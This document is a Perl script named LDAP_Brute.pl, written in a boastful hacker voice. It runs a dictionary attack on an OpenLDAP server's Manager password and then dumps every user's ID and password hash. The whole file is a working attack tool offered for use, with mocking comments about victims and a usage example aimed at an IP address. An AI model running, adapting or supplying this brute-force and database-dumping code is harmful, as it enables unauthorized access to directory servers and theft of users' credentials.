#!/usr/bin/perl
# LDAP_Brute.pl

# lets do something fun like brute force a LDAP Manager password 
# and then Dump all user and passwords from the Database.
# Sound Good ? Ok lets do it.

# by: Victim1
# shouts to all AngryPacketeers !!
# http://angreypacket.com

# recommendation: start the $arg u (user) with something like asmi* for as in Ann Smith or something, be creative they are only users hahaha.

# Extra Info: This was written and tested on Slackware 8.0 against OpenLDAP.
# this sorta slow but gets the job done.

system("clear");
print "Starting Crack:\n";
print "---------------\n";
use Getopt::Std;

getopts("t:d:b:u:l:?", \%args);
# continue with normal crack
if($args{t}) {
    $target = $args{t};
} else {
    Usage();
}
if($args{d}) {
    $dn = $args{d}
} else {
    Usage();
}
if($args{b}) {
    $base = $args{b}
} else {
    Usage();
}
if($args{u}) {
    $user = $args{u};
} else {
    Usage();
}
if($args{l}) {
    $dictionary = $args{l};
} else {
    Usage();
}
if($args{"?"}) {
    Usage();
}

# start
brutality();
ldap_connect(@passwords);

# Start Brute Force of LDAP Manager Password.
# should return this: -->
# As this is what we will be expecting for a return...
# jsmith:{SHA}JheluJmppdiUiMJhn9X1raH26fA=:0:0:/jsmith:
sub ldap_connect {
    foreach $password (@passwords) {
	use Net::LDAP;
	$ldap = Net::LDAP->new($target);
	$ldap->bind ($dn,
		     password => $password
		     );
	$ldap->unbind;
	print "Manager -> Guess: $password\n";
	get_accounts($target, $password);
    }
}


# OPEN Dictionary and Brute force LDAP server.
sub brutality {
    #lets load up dictionary
    open(DICT, "<$args{l}") or die "Cannot open: $args{l} $@\n";
    @passwords = <DICT>;
    close(DICT);
    chomp @passwords;
}    


sub get_accounts {
    # lets swipe user accounts and SHA_Base64 Keys.
    use Net::LDAP;
    $ldapc = Net::LDAP->new($target) or die "$@";
    $ldapc->bind($dn, password => $password) || die "$@";
    $mesg = $ldapc->search (
			    base => $base,
			    scope => "subtree",
			    filter => "(uid=$user)"
			    );
    $mesg->code && die $mesg->error;

	# this is a fucking pain in the ass to break a fucking loop ?? isnt it...
	$i=0;
	foreach $entry ($mesg->all_entries) {
		@uid=$entry->get_value('uid');
		@pass=$entry->get_value('userpassword');
		$test = ($uid[0].":".$pass[0].":".$i.":".$i.":/".$uid[0].":");
		if ($test =~ /$uid[0]:{SHA}/) {
		    print "CRACKED MANAGER PASSWORD !!!! -> $password\n";
		    print "$test\n";
		    sleep 2;
		    print "Dumping Database please Wate\n";
		    dump_database();
		    exit;
		} else {
		    $ldapc->unbind;
		    return 0;
		}
	    }
}

sub dump_database {
    $ldap = Net::LDAP->new($target) or die "$@";
    $ldap->bind($dn, password => $password) || die "$@";
    $mesg = $ldap->search (
			   base => $base,
			   scope => "subtree",
			   filter => "(uid=*)"
			   );
    $mesg->code && die $mesg->error;
    
    $i=0;
    foreach $entry ($mesg->all_entries) {
	@uid=$entry->get_value('uid');
	@pass=$entry->get_value('userpassword');
	print $uid[0].":".$pass[0].":".
	    $i.":".$i.":/".$uid[0].":\n";
    }
    $ldap->unbind;
}

# APP USAGE ----->
##################
sub Usage {
    print <<USAGE;
  Usage: perl LDAP_Brute.pl [-?] -tdbul
      -t Target
      -d dn -> cn=Manager,o=organization,c=country ( US )
      -b base dn (o=Microsoft,c=US)
      -u User
      -l Password List ( Dictionary )
      -? This Menu
	Sample: perl LDAP_Brute.pl -t 192.168.20.10 -d cn=Manager,o=MicroSoft,c=US -b o=Microsoft,c=US -u jsmi* -d /usr/local/lib/Cracklib
	  Note: You are on you own if you do something Naughty little wee wee's ~!
USAGE
    exit;
}
##################